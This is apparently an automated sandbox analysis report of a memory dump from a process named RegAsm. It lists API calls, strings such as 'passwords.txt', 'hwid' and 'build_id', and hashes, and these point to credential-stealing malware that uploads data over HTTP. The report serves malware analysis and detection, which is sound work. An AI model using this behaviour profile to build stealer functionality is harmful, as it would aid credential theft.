Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426AC0,?,00000000,0042656F), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,?,00425B4C,?,?,?,00425B46,?,00000000), ref: 0040C378
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040C3D9
RtlAllocateHeap.NTDLL(00000000), ref: 0040C3E0
lstrlenA.KERNEL32(00000000,00000000), ref: 0040C470
lstrcat.KERNEL32(00000000), ref: 0040C487
lstrcat.KERNEL32(00000000,00000000), ref: 0040C499
lstrcat.KERNEL32(00000000,00425B50), ref: 0040C4A7
lstrcat.KERNEL32(00000000,00000000), ref: 0040C4B9
lstrcat.KERNEL32(00000000,00425B54), ref: 0040C4C7
lstrcat.KERNEL32(00000000), ref: 0040C4D6
lstrcat.KERNEL32(00000000,00000000), ref: 0040C4E8
lstrcat.KERNEL32(00000000,00425B58), ref: 0040C4F6
lstrcat.KERNEL32(00000000), ref: 0040C505
lstrcat.KERNEL32(00000000,00000000), ref: 0040C517
lstrcat.KERNEL32(00000000,00425B5C), ref: 0040C525
lstrcat.KERNEL32(00000000), ref: 0040C534
lstrcat.KERNEL32(00000000,00000000), ref: 0040C546
lstrcat.KERNEL32(00000000,00425B60), ref: 0040C554
lstrcat.KERNEL32(00000000,00425B64), ref: 0040C562
lstrlenA.KERNEL32(00000000), ref: 0040C596
memset.MSVCRT ref: 0040C5E9
DeleteFileA.KERNEL32(00000000), ref: 0040C616

Part of subcall function 004063B1: _EH_prolog.MSVCRT ref: 004063B6
Part of subcall function 004063B1: memcmp.MSVCRT ref: 004063DC
Part of subcall function 004063B1: memset.MSVCRT ref: 0040640B
Part of subcall function 004063B1: LocalAlloc.KERNEL32(00000040,-000000E1,?,?,?,?,00000000,00000000), ref: 00406440

Strings

passwords.txt, xrefs: 0040C5A8

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$H_prolog$lstrcpy$lstrlen$FileHeapmemset$AllocAllocateCopyDeleteLocalProcessSystemTimememcmp
String ID: passwords.txt
API String ID: 3298853120-347816968
Opcode ID: 4b1ff610774e8c77471883ccd83e1c17f67f4a4143a384f07f00799f4a19b9b8
Instruction ID: 1ecdebe3f11d8fac3e9d0efa643fe933af64b4fe52e77a22e07e9b20bef025ed
Opcode Fuzzy Hash: 4b1ff610774e8c77471883ccd83e1c17f67f4a4143a384f07f00799f4a19b9b8
Instruction Fuzzy Hash: 98C16971800159EEDB15EBE4ED1AEEEBB75BF18304F10403AF511721E1DB782A09DB25

Function 0041390C Relevance: 41.1, APIs: 12, Strings: 11, Instructions: 825
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 00413911

Part of subcall function 004135AC: _EH_prolog.MSVCRT ref: 004135B1

Part of subcall function 0040F997: lstrlenA.KERNEL32(?,00000000,?,004169B9,0042655F,0042655E,00000000,00000000,?,00417314), ref: 0040F9A0
Part of subcall function 0040F997: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F9D4

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00413ADD
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00413B5E

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 0041303A: _EH_prolog.MSVCRT ref: 0041303F
Part of subcall function 0041303A: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 0041309D

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00413C8A
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00413D0B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00413E37
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00413EB8
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00413FE4
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00414065
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00414191
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 0041420C
Sleep.KERNEL32(0000EA60), ref: 0041421B

Part of subcall function 00413118: _EH_prolog.MSVCRT ref: 0041311D
Part of subcall function 00413118: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0041319F
Part of subcall function 00413118: lstrlenA.KERNEL32(00000000), ref: 004131B6
Part of subcall function 00413118: StrStrA.SHLWAPI(00000000,00000000), ref: 004131DD
Part of subcall function 00413118: lstrlenA.KERNEL32(00000000), ref: 004131F2
Part of subcall function 00413118: lstrlenA.KERNEL32(00000000), ref: 0041320D

Strings

ERROR, xrefs: 00413EAA
ERROR, xrefs: 00413C7C
ERROR, xrefs: 00413FD6
ERROR, xrefs: 00414183
ERROR, xrefs: 00413ACF
*, xrefs: 00414352
ERROR, xrefs: 00413CFD
ERROR, xrefs: 004141FE
ERROR, xrefs: 00413E29
ERROR, xrefs: 00413B50
ERROR, xrefs: 00414057

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$lstrcpylstrlen$Sleep
String ID: *$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 1345713276-3681523784
Opcode ID: 505f916443a8155cce969c46bc05582c1e74d202306969a7660cc8c93faf51c3
Instruction ID: ba2ef69668dbee3cc8c09a903ddfb9f5b99e769ff53e208b1ce9b21879ea8b17
Opcode Fuzzy Hash: 505f916443a8155cce969c46bc05582c1e74d202306969a7660cc8c93faf51c3
Instruction Fuzzy Hash: 596263B0904248EADB10EBE5C956BDEBBB89F19304F5041BEF445B32C1DB785B4C8766

Function 00403AF5 Relevance: 37.3, APIs: 13, Strings: 8, Instructions: 513
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 00403AFA

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 00403A54: _EH_prolog.MSVCRT ref: 00403A59
Part of subcall function 00403A54: ??_U@YAPAXI@Z.MSVCRT ref: 00403A8B
Part of subcall function 00403A54: ??_U@YAPAXI@Z.MSVCRT ref: 00403A94
Part of subcall function 00403A54: ??_U@YAPAXI@Z.MSVCRT ref: 00403A9D
Part of subcall function 00403A54: lstrlenA.KERNEL32(00000000,00000000,?,?,00000001,000000C8), ref: 00403AB7
Part of subcall function 00403A54: InternetCrackUrlA.WININET(00000000,00000000,?,00000001), ref: 00403AC7

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00403BA5
StrCmpCA.SHLWAPI(?), ref: 00403BBC

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00403D44
HttpOpenRequestA.WININET(?,?,00000000,00000000,-00400100,00000000), ref: 00403D7E
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00403DA2

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426AC0,?,00000000,0042656F), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

lstrlenA.KERNEL32(00000000,00000000,?,?,?,?,00425975,00000000,?,?,00000000,?,",00000000,?,build_id), ref: 0040407E
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00404097
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 004040A8
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 004040FC
InternetCloseHandle.WININET(00000000), ref: 00404107
InternetCloseHandle.WININET(?), ref: 0040411C
InternetCloseHandle.WININET(?), ref: 00404125

Strings

", xrefs: 00403E7A
build_id, xrefs: 00403F9F
!, xrefs: 004040E6
hwid, xrefs: 00403E50
------, xrefs: 00403C3E
------, xrefs: 00403DA8
------, xrefs: 00403EF7
", xrefs: 00403FC9

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$H_prologlstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileOptionReadSend
String ID: !$"$"$------$------$------$build_id$hwid
API String ID: 1139859944-3346224549
Opcode ID: 6763fc035234d5979cabe930e44d953dfd0e215cef660ea1f11e82d7fcc9c962
Instruction ID: b0e5e0d41a604fbf99728ef0725b538a38cb0714067dfec9b32dda745c4f151e
Opcode Fuzzy Hash: 6763fc035234d5979cabe930e44d953dfd0e215cef660ea1f11e82d7fcc9c962
Instruction Fuzzy Hash: 31223AB190414CEADB11EBE4C956BEEBBB8AF18308F5041BEE50573582DB781B4CCB65

Function 00406737 Relevance: 33.5, APIs: 22, Instructions: 511stringmemoryfileCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040673C

Part of subcall function 0040FB28: StrCmpCA.SHLWAPI(?,?,?,00408A88,00425D7C,00000000), ref: 0040FB31

CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,?,00425B78,?,?,?,00425B4E,?,00000000), ref: 004068A8

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 00411056: _EH_prolog.MSVCRT ref: 0041105B
Part of subcall function 00411056: memset.MSVCRT ref: 0041107D
Part of subcall function 00411056: OpenProcess.KERNEL32(00001001,00000000,?,?,?,?,00000000,?), ref: 00411104
Part of subcall function 00411056: TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000000,?), ref: 00411112
Part of subcall function 00411056: CloseHandle.KERNEL32(00000000,?,?,?,00000000,?), ref: 00411119

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426AC0,?,00000000,0042656F), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00406A9A
RtlAllocateHeap.NTDLL(00000000), ref: 00406AA1
lstrcat.KERNEL32(00000000,00000000), ref: 00406BBF
lstrcat.KERNEL32(00000000,00425B94), ref: 00406BCD
lstrcat.KERNEL32(00000000,00000000), ref: 00406BDF
lstrcat.KERNEL32(00000000,00425B98), ref: 00406BED
lstrlenA.KERNEL32(00000000), ref: 00406D34
lstrlenA.KERNEL32(00000000), ref: 00406D42

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 00414437: _EH_prolog.MSVCRT ref: 0041443C
Part of subcall function 00414437: CreateThread.KERNEL32(00000000,00000000,00413326,?,00000000,00000000), ref: 004144E2
Part of subcall function 00414437: WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 004144EA

memset.MSVCRT ref: 00406D9A
DeleteFileA.KERNEL32(00000000), ref: 00406DBF

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prologlstrcat$lstrcpy$Processlstrlen$FileHeapmemset$AllocateCloseCopyCreateDeleteHandleObjectOpenSingleTerminateThreadWait
String ID:
API String ID: 4187064601-0
Opcode ID: 8e1653efa4f5854faced7d70c72396407c3d3c249bef8c47c695785d4c6cb76f
Instruction ID: ba7657a0882041a922700d4e4b68e078784f46e31e746cb862f522f044a4a9e6
Opcode Fuzzy Hash: 8e1653efa4f5854faced7d70c72396407c3d3c249bef8c47c695785d4c6cb76f
Instruction Fuzzy Hash: 9F224771904248EEDF15EBE4DD56AEEBB75AF18308F50407EF402721D2DB782A09DB26

Function 00408759 Relevance: 33.4, APIs: 22, Instructions: 407stringmemoryfileCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040875E

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 00410B5C: _EH_prolog.MSVCRT ref: 00410B61
Part of subcall function 00410B5C: GetSystemTime.KERNEL32(?,00426440,00000001,000000C8,00000000,00426562), ref: 00410BA1

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426AC0,?,00000000,0042656F), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,00000000,00000000,?,00425D70,?,?,?,00425B92,00000000), ref: 00408841
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 004089AE
RtlAllocateHeap.NTDLL(00000000), ref: 004089B5
lstrcat.KERNEL32(00000000,00000000), ref: 00408AD8
lstrcat.KERNEL32(00000000,00425D84), ref: 00408AE6
lstrcat.KERNEL32(00000000,00000000), ref: 00408AF8
lstrcat.KERNEL32(00000000,00425D88), ref: 00408B06
lstrlenA.KERNEL32(00000000), ref: 00408C19
lstrlenA.KERNEL32(00000000), ref: 00408C27

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 00414437: _EH_prolog.MSVCRT ref: 0041443C
Part of subcall function 00414437: CreateThread.KERNEL32(00000000,00000000,00413326,?,00000000,00000000), ref: 004144E2
Part of subcall function 00414437: WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 004144EA

memset.MSVCRT ref: 00408C7F
DeleteFileA.KERNEL32(00000000), ref: 00408CA4

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prologlstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyCreateDeleteObjectProcessSingleSystemThreadTimeWaitmemset
String ID:
API String ID: 156379684-0
Opcode ID: 43e7eccc74614d8f611f5c667144751c4e0face382e07e427c529d3e51f79cf1
Instruction ID: 995570c1c0ce675a9085062181732195259fe43f91e974d6a0640a795ee953cc
Opcode Fuzzy Hash: 43e7eccc74614d8f611f5c667144751c4e0face382e07e427c529d3e51f79cf1
Instruction Fuzzy Hash: 3AF15771804158EADB15EBE4DD1ABEEBB74AF18308F10807EE505721E2DF782A09DB25

Function 0041077C Relevance: 33.4, APIs: 11, Strings: 8, Instructions: 155memorycomtimeCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00410781
CoInitializeEx.OLE32(00000000,00000000,00000001,?,00000000,?,?,?,?,?,?,004265CC,00000000,?,Work Dir: In memory,00000000), ref: 00410799
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000,?,00000000), ref: 004107AA
CoCreateInstance.OLE32(00426F54,00000000,00000001,00426E84,?,?,00000000,?,?,?,?,?,?,004265CC,00000000,?), ref: 004107C4
CoSetProxyBlanket.OLE32(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000,?,00000000), ref: 004107FA
VariantInit.OLEAUT32(?), ref: 00410855

Part of subcall function 004106C4: _EH_prolog.MSVCRT ref: 004106C9
Part of subcall function 004106C4: CoCreateInstance.OLE32(00426D04,00000000,00000001,00426430,?,00000001,00000000,00000000,00000001,?,00000000), ref: 004106F0
Part of subcall function 004106C4: SysAllocString.OLEAUT32(?), ref: 004106FD
Part of subcall function 004106C4: _wtoi64.MSVCRT ref: 00410738
Part of subcall function 004106C4: SysFreeString.OLEAUT32(?), ref: 0041074B
Part of subcall function 004106C4: SysFreeString.OLEAUT32(00000000), ref: 00410752

FileTimeToSystemTime.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,004265CC,00000000,?,Work Dir: In memory,00000000), ref: 0041088D
GetProcessHeap.KERNEL32(?,?,00000000,?,?,?,?,?,?,004265CC,00000000,?,Work Dir: In memory,00000000,?,004265B4), ref: 00410893
HeapAlloc.KERNEL32(00000000,00000000,00000104,?,?,00000000,?,?,?,?,?,?,004265CC,00000000,?,Work Dir: In memory), ref: 004108A0
VariantClear.OLEAUT32(?), ref: 004108E2
wsprintfA.USER32 ref: 004108CC

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Strings

InstallDate, xrefs: 00410867
Select * From Win32_OperatingSystem, xrefs: 0041080A
Unknown, xrefs: 0041090D
Unknown, xrefs: 004108EE
%d/%d/%d %d:%d:%d, xrefs: 004108C6
WQL, xrefs: 0041080F
ROOT\CIMV2, xrefs: 004107D7
Unknown, xrefs: 00410914

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: String$AllocCreateFreeH_prologHeapInitializeInstanceTimeVariant$BlanketClearFileInitProcessProxySecuritySystem_wtoi64lstrcpywsprintf
String ID: %d/%d/%d %d:%d:%d$InstallDate$ROOT\CIMV2$Select * From Win32_OperatingSystem$Unknown$Unknown$Unknown$WQL
API String ID: 2456697202-461178377
Opcode ID: 4c5c30e2ea9d2adf16a85c0074a720322db174524018e3eb54dc317dc257ee69
Instruction ID: 4b36eb2a1d5a1bedc29b67d6ed82d78b3e43d11d07795a3f045295924e426f07
Opcode Fuzzy Hash: 4c5c30e2ea9d2adf16a85c0074a720322db174524018e3eb54dc317dc257ee69
Instruction Fuzzy Hash: 63516C71A01228BBCB20DB95DC49EEFBB7CEF49B10F504116F515E6190C7B89A41CBA8

Function 004118AE Relevance: 28.3, APIs: 14, Strings: 2, Instructions: 325stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004118B3
strtok_s.MSVCRT ref: 004118E4
StrCmpCA.SHLWAPI(?,true,?,?,00000104,?,00000104,?,?,00000000), ref: 0041197C

Part of subcall function 0040F997: lstrlenA.KERNEL32(?,00000000,?,004169B9,0042655F,0042655E,00000000,00000000,?,00417314), ref: 0040F9A0
Part of subcall function 0040F997: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F9D4

lstrcpy.KERNEL32(?,?), ref: 00411A33
lstrcpy.KERNEL32(?,00000000), ref: 00411A6F
lstrcpy.KERNEL32(?,00000000), ref: 00411AB6
lstrcpy.KERNEL32(?,00000000), ref: 00411AFD
lstrcpy.KERNEL32(?,00000000), ref: 00411B44
strtok_s.MSVCRT ref: 00411CA7

Strings

false, xrefs: 00411996
true, xrefs: 00411974

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$strtok_s$H_prologlstrlen
String ID: false$true
API String ID: 49562497-2658103896
Opcode ID: 59e9e0ed7abd9e5132589874edf6417603bdd11e833da19a679df8b697dbdabf
Instruction ID: ba927b6fbe385cdc95ceeb1740fcb97b1cf008379e2e115a61cc2516e6170599
Opcode Fuzzy Hash: 59e9e0ed7abd9e5132589874edf6417603bdd11e833da19a679df8b697dbdabf
Instruction Fuzzy Hash: B6C182B190021DAFDF10EFE4D855EDE77B9AF18304F10446AF505A3191DF78AA89CB64

Function 00404F2A Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 174networkfileCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00404F2F

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 00403A54: _EH_prolog.MSVCRT ref: 00403A59
Part of subcall function 00403A54: ??_U@YAPAXI@Z.MSVCRT ref: 00403A8B
Part of subcall function 00403A54: ??_U@YAPAXI@Z.MSVCRT ref: 00403A94
Part of subcall function 00403A54: ??_U@YAPAXI@Z.MSVCRT ref: 00403A9D
